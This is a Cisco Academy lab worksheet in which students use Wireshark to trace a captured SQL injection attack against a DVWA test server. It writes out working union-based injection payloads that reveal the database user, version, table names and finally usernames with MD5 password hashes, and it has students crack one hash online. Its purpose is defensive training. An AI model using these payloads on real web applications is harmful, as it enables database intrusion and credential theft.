CISCO Academy

Lab - Attacking a mySQL Database

Objectives

In this lab, you will view a PCAP file from a previous attack against a SQL database.

Part 1: Open Wireshark and load the PCAP file.

Part 2: View the SQL Injection Attack.

Part 3: The SQL Injection Attack continues...

Part 4: The SQL Injection Attack provides system information.

Part 5: The SQL Injection Attack and Table Information

Part 6: The SQL Injection Attack Concludes.

Background / Scenario

SQL injection attacks allow malicious hackers to type SQL statements in a web site and receive a response from the database. This allows attackers to tamper with current data in the database, spoof identities, and miscellaneous mischief.

A PCAP file has been created for you to view a previous attack against a SQL database. In this lab, you will view the SQL database attacks and answer the questions.

Required Resources

• CyberOps Workstation virtual machine

Instructions

You will use Wireshark, a common network packet analyzer, to analyze network traffic. After starting Wireshark, you will open a previously saved network capture and view a step by step SQL injection attack against a SQL database.

Part 1: Open Wireshark and load the PCAP file.

The Wireshark application can be opened using a variety of methods on a Linux workstation.

- a. Start the CyberOps Workstation VM.
- b. Click Applications > CyberOPS > Wireshark on the desktop and browse to the Wireshark application.
- c. In the Wireshark application, click **Open** in the middle of the application under Files.
- d. Browse through the **/home/analyst/** directory and search for **lab.support.files**. In the **lab.support.files** directory and open the **SQL_Lab.pcap** file.

e. The PCAP file opens within Wireshark and displays the captured network traffic. This capture file extends over an 8-minute (441 second) period, the duration of this SQL injection attack.

No.	Time	Source	Destination	Protocol	Length Info
	- 0.005700	10.0.2.15	-10.0.2.4	HITP	430 H11P/1.1-302 Found
	7 0.005700	10.0.2.4	10.0.2.15	тср	66 35614→80 [ACK] Seq=589 Ack=365 Win=30336 Len=0 TSval=45840 TSe
	8 0.014383	10.0.2.4	10.0.2.15	HTTP	496 GET /dvwa/index.php HTTP/1.1
	9 0.015485	10.0.2.15	10.0.2.4	HTTP	3107 HTTP/1.1 200 OK (text/html)
	10 0.015485	10.0.2.4	10.0.2.15	TCP	66 35614→80 [ACK] Seq=1019 Ack=3406 Win=36480 Len=0 TSval=45843 T
	11 0.068625	10.0.2.4	10.0.2.15	HTTP	429 GET /dvwa/dvwa/css/main.css HTTP/1.1
	12 0.070400	10.0.2.15	10.0.2.4	HTTP	1511 HTTP/1.1 200 OK (text/css)
	13 174.254430	10.0.2.4	10.0.2.15	HTTP	536 GET /dvwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit HTTP/1.
	14 174.254581	10.0.2.15	10.0.2.4	тср	66 80→35638 [ACK] Seq=1 Ack=471 Win=235 Len=0 TSval=82101 TSecr=90
	15 174.257989	10.0.2.15	10.0.2.4	HTTP	1861 HTTP/1.1 200 OK (text/html)
	16 220.490531	10.0.2.4	10.0.2.15	HTTP	577 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+%270%27%3D%270+&Subr
	17 220.490637	10.0.2.15	10.0.2.4	тср	66 80→35640 [ACK] Seq=1 Ack=512 Win=235 Len=0 TSval=93660 TSecr=1
	18 220.493085	10.0.2.15	10.0.2.4	HTTP	1918 HTTP/1.1 200 OK (text/html)
	19 277.727722	10.0.2.4	10.0.2.15	HTTP	630 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+(
	20 277.727871	10.0.2.15	10.0.2.4	TCP	66 80→35642 [ACK] Seq=1 Ack=565 Win=236 Len=0 TSval=107970 TSecr=:
	21 277.732200	10.0.2.15	10.0.2.4	HTTP	1955 HTTP/1.1 200 OK (text/html)
	22 313.710129	10.0.2.4	10.0.2.15	HTTP	659 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+r
	23 313.710277	10.0.2.15	10.0.2.4	тср	66 80→35644 [ACK] Seq=1 Ack=594 Win=236 Len=0 TSval=116966 TSecr=:
	24 313.712414	10.0.2.15	10.0.2.4	HTTP	1954 HTTP/1.1 200 OK (text/html)
	25 383.277032	10.0.2.4	10.0.2.15	HTTP	680 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+
	26 383.277811	10.0.2.15	10.0.2.4	тср	66 80→35666 [ACK] Seq=1 Ack=615 Win=236 Len=0 TSval=134358 TSecr=:
	27 383.284289	10.0.2.15	10.0.2.4	HTTP	4068 HTTP/1.1 200 OK (text/html)
	28 441.804070	10.0.2.4	10.0.2.15	HTTP	685 GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+u
	29 441.804427	10.0.2.15	10.0.2.4	тср	66 80→35668 [ACK] Seq=1 Ack=620 Win=236 Len=0 TSval=148990 TSecr=:
	30 441.807206	10.0.2.15	10.0.2.4	HTTP	2091 HTTP/1.1 200 OK (text/html)

What are the two IP addresses involved in this SQL injection attack based on the information displayed?

10.0.2.4 and 10.0.2.15

Part 2: View the SQL Injection Attack.

In this step, you will be viewing the beginning of an attack.

a. Within the Wireshark capture, right-click line 13 and select **Follow** > **HTTP Stream**. Line 13 was chosen because it is a GET HTTP request. This will be very helpful in following the data stream as the application layers sees it and leads up to the query testing for the SQL injection.

	📕 Apply a display filter … <	<ctrl-></ctrl->			
N	lo. Time Source 12 0.070400 10.0.	e Destination 2.15 10.0.2.4	Protocol Lengti Info HTTP 1511 HTTP	/1.1 200 OK (t	(ext/css)
•	 13 174.25430 10.0. 14 174.254581 10.0. 15 174.257989 10.0. 16 220.490531 10.0. 17 220.490637 10.0. 18 220.493085 10.0. 19 277.727722 10.0. 20 277.727871 10.0. 21 277.732200 10.0. 21 277.732200 10.0. Frame 13: 536 bytes on wir Fthernet II, Src: PcsCompute Internet Protocol Version Transmission Control Protocot Hypertext Transfer Protocot 	2.4 Mark/Unmark Packet 2.15 Ignore/Unignore Packet 2.4 Set/Unset Time Refer 2.15 Time Shift 2.15 Edit Resolved Name 2.15 Edit Resolved Name 4, Src: Conversation Filter 0.1 Colorize Conversation	Ctrl+M <pre>cet Ctrl+D rence Ctrl+T Ctrl+Shift+T Ctrl+Alt+C</pre>	<pre>dvm2/vulnerabilities/sqli/?id=1%3D1&Subm 35638 [ACK] Seq=1 Ack=471 Win=235 Len=0 1.1 200 OK (text/html) dvwa/vulnerabilities/sqli/?id=1%27+or+%2 35640 [ACK] Seq=1 Ack=512 Win=235 Len=0 1.1 200 OK (text/html) dvwa/vulnerabilities/sqli/?id=1%27+or+1% 35642 [ACK] Seq=1 Ack=565 Win=236 Len=0 1.1 200 OK (text/html) * 8:00:27:9f:48:a0) 470 </pre>	
		SCTP	•	TCP Stream	Ctrl+Alt+Shift+T
		Сору	•	UDP Stream	Ctrl+Alt+Shift+U
	0000 08 00 27 9f 48 a0 08 00 0010 02 0a 5b 01 40 00 40 06	Protocol Preference: Decode As 27 ca Show Packet in New 1 5 c5 da wa	s ≯ I_indow	HTTP Stream HTTP/2 Str	Ctrl+Alt+Shift+H eam
	0020 02 0f 8h 36 00 50 3d 4f	F 25 he 43 49 72 92 80 18	6.P=0 %.CTr	QUIC STIES	m

The source traffic is shown in red. The source has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.

b. In the **Find** field, enter **1=1**. Click **Find Next**.

Wireshark · Follow HTTP Stream (tcp.stream eq 1) · SQL_Lab.pcap • _ O ×
GET /dvwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit HTTP/1.1 Host: 10.0.2.15 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/ Cookie: security=low; PHPSESSID=ml2n7d0t4rem6k0n4is82u5157 Connection: keep-alive Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK Date: Mon, 06 Feb 2017 14:18:22 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 1443 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8
1 client pkt, 1 server pkt, 1 turn.
Entire conversation (5,894 bytes) Show and save data as ASCII
Find: 1=1 Find Next
Help Filter Out This Stream Print Save as Back X Close

c. The attacker has entered a query (1=1) into a UserID search box on the target 10.0.2.15 to see if the application is vulnerable to SQL injection. Instead of the application responding with a login failure message, it responded with a record from a database. The attacker has verified they can input an SQL command and the database will respond. The search string 1=1 creates an SQL statement that will be always true. In the example, it does not matter what is entered into the field, it will always be true.

🧧 Wireshark · Follow HTTP Stream (tcp.stream eq 1) · SQL_Lab.pcap 🔷 🗕 🗖 🗙
<input <="" name="Submit" td="" type="submit"/>
value="Submit">
 <pre>ID: 1=1 First name: admin Surname: admin</pre>
<h2>More Information</h2>

<pre> http://www.securiteam.com/securityreviews/ </pre>
1 client pkt, 1 server pkt, 1 turn.
Entire conversation (5,894 bytes) Show and save data as ASCII
Find: 1=1 Find Next
Help Filter Out This Stream Print Save as Back X Close

d. Close the Follow HTTP Stream window.

e. Click Clear display filter to display the entire Wireshark conversation.

			SQL_Lab.pcap			^ _ O X
<u>F</u> ile	<u>E</u> dit <u>V</u> iew <u>G</u> o	<u>Capture</u> Analy	ze <u>S</u> tatistics Telepho	on <u>y W</u> ireless	<u>T</u> ools <u>H</u> elp	
		🗅 🗋 🗙 🎑	Q @ % % K	§ % 📃 🛛	•••	
to	p.stream eq 1					*
No.	Time	Source	Destination	Protoco]	Lengtł Info	
►	13 174.254430	10.0.2.4	10.0.2.15	HTTP	536 GET /dv	/wa/vulnerabili
	14 174.254581	10.0.2.15	10.0.2.4	TCP	66 80 → 35	638 [ACK] Seq=
4	15 174.257989	10.0.2.15	10.0.2.4	HTTP	1861 HTTP/1.	1 200 OK (tex

Part 3: The SQL Injection Attack continues...

In this step, you will be viewing the continuation of an attack.

- a. Within the Wireshark capture, right-click line 19, and click Follow > HTTP Stream.
- b. In the Find field, enter 1=1. Click Find Next.
- c. The attacker has entered a query (1' or 1=1 union select database(), user()#) into a UserID search box on the target 10.0.2.15. Instead of the application responding with a login failure message, it responded with the following information:

🧹 Wireshark · Follow HTTP Stream (tcp.stream eq 3) · SQL_Lab.pcap 🔨 🔷 💶 🗙
<pre></pre>
<pre>chipMore Informations(bip</pre>
1 client pkt, 1 server pkt, 1 turn. Entire conversation (6,532 bytes) Show and save data as ASCII
Find: 1=1 Find Next
Belp Filter Out This Stream Print Save as Back X Close

The database name is **dvwa** and the database user is **root@localhost**. There are also multiple user accounts being displayed.

- d. Close the Follow HTTP Stream window.
- e. Click Clear display filter to display the entire Wireshark conversation.

Part 4: The SQL Injection Attack provides system information.

The attacker continues and starts targeting more specific information.

a. Within the Wireshark capture, right-click line 22 and select **Follow** > **HTTP Stream**. In red, the source traffic is shown and is sending the GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.

- b. In the **Find** field, enter **1=1**. Click **Find Next**.
- c. The attacker has entered a query (1' or 1=1 union select null, version ()#) into a UserID search box on the target 10.0.2.15 to locate the version identifier. Notice how the version identifier is at the end of the output right before the .</div> closing HTML code.

Wireshark · Follow HTTP Stream (tcp.stream eq 4) · SQL_Lab.pcap
<pre> <pre>iD: 1' or 1=1 union select null, version ()# First name: admin Surname: admin</pre><pre>ID: 1' or 1=1 union select null, version ()# First name: Gordon Surname: Brown</pre><pre>ID: 1' or 1=1 union select null, version ()# First name: Hack Surname: Me</pre><pre>ID: 1' or 1=1 union select null, version ()# First name: Pablo Surname: Bob pre><pre>ID: 1' or 1=1 union select null, version ()# First name: Bob >Surname: Smith</pre><pre>ID: 1' or 1=1 union select null, version ()# First name: Bob >Surname: Smith</pre><pre>ID: 1' or 1=1 union select null, version ()# First name: Smith</pre></pre></pre>
1 client pkt, 1 server pkt, 1 turn.
Entire conversation (6,548 bytes) Show and save data as ASCII
Find: 1=1 Find Next
Belp Filter Out This Stream Print Save as Back ✗ Close

What is the version?

- d. Close the Follow HTTP Stream window.
- e. Click **Clear display filter** to display the entire Wireshark conversation.

Part 5: The SQL Injection Attack and Table Information.

The attacker knows that there is a large number of SQL tables that are full of information. The attacker attempts to find them.

- a. Within the Wireshark capture, right-click on line 25 and select Follow > HTTP Stream. The source is shown in red. It has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.
- b. In the Find field, enter users. Click Find Next.
- c. The attacker has entered a query (1'or 1=1 union select null, table_name from information_schema.tables#) into a UserID search box on the target 10.0.2.15 to view all the tables in the

database. This provides a huge output of many tables, as the attacker specified "null" without any further specifications.

Wireshark · Follow HTTP Stream (tcp.stream eq 5) · SQL_Lab.pcap
<pre>information_schema.tables# First name: Surname: INNODB_SYS_COLUMNS<!--</td--></pre>
information_schema.tables# br />First name: surname: INNODB_SYS_FOREIGN
information_schema.tables# br />First name: surname: INNODB_SYS_TABLESTATS
information_schema.tables# br />First name: Surname: guestbook <pre>ID: 1' or 1=1 union select null. table name from information schema.tables# First</pre>
<pre>name: Surname: users</pre> <pre>re>ID: 1' or 1=1 union select null, table_name from information schema.tables# First name: Surname: columns_priv</pre>
<pre>pre><pre>ID: 1' or 1=1 union select null, table_name from information_schema.tables# First name: Surname: db</pre><pre>ID: 1' or</pre></pre>
<pre>1=1 union select null, table_name from information_schema.tables# First name:</pre>
Packet 27. 1 client pkt, 1 server pkt, 1 turn. Click to select.
Entire conversation (45 kB) The Show and save data as ASCII The Show and Sho
Find: users Find Next
Belp Filter Out This Stream Print Save as Back ✗ Close

What would the modified command of (1' OR 1=1 UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users') do for the attacker?

- d. Close the Follow HTTP Stream window.
- e. Click Clear display filter to display the entire Wireshark conversation.

Part 6: The SQL Injection Attack Concludes.

The attack ends with the best prize of all; password hashes.

- a. Within the Wireshark capture, right-click line 28 and select Follow > HTTP Stream. The source is shown in red. It has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.
- b. Click **Find** and type in **1=1**. Search for this entry. When the text is located, click **Cancel** in the Find text search box.

The attacker has entered a query (1'or 1=1 union select user, password from users#) into a UserID search box on the target 10.0.2.15 to pull usernames and password hashes!

Wireshark · Follow HTTP Stream (tcp.stream eq 6) · SQL_Lab.pcap
<pre><pre><pre>iD: 1' or 1=1 union select user, password from users# />First name: admin Surname: admin</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: Gordon Surname: Brown</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: Hack Surname: Me</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: Hack Surname: Me</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: Hack Surname: Pablo Surname: Picasso</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: Bob Surname: Smith</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: admin Surname: Sf4dcc3b5aa765d61d8327deb882cf99</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: gordonb Surname: e99a18c428cb38d5f260853678922e03</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: smith</pre><pre>ID: 1' or 1=1 union select user, password from users# First name: pablo</pre></pre></pre>
5f4dcc3b5aa765d61d8327deb882cf99
1 client pkt, 1 server pkt, 1 turn.
Entire conversation (7,186 bytes) Show and save data as ASCII
Find: 1=1 Find Next
Image: Back Print Print Back Print Prin

Which user has the password hash of 8d3533d75ae2c3966d7e0d4fcc69216b?

c. Using a website such as https://crackstation.net/, copy the password hash into the password hash cracker and get cracking.

What is the plain-text password?

d. Close the Follow HTTP Stream window. Close any open windows.

Reflection Questions

- 1. What is the risk of having platforms use the SQL langauge?
- 2. Browse the internet and perform a search on "prevent SQL injection attacks". What are 2 methods or steps that can be taken to prevent SQL injection attacks?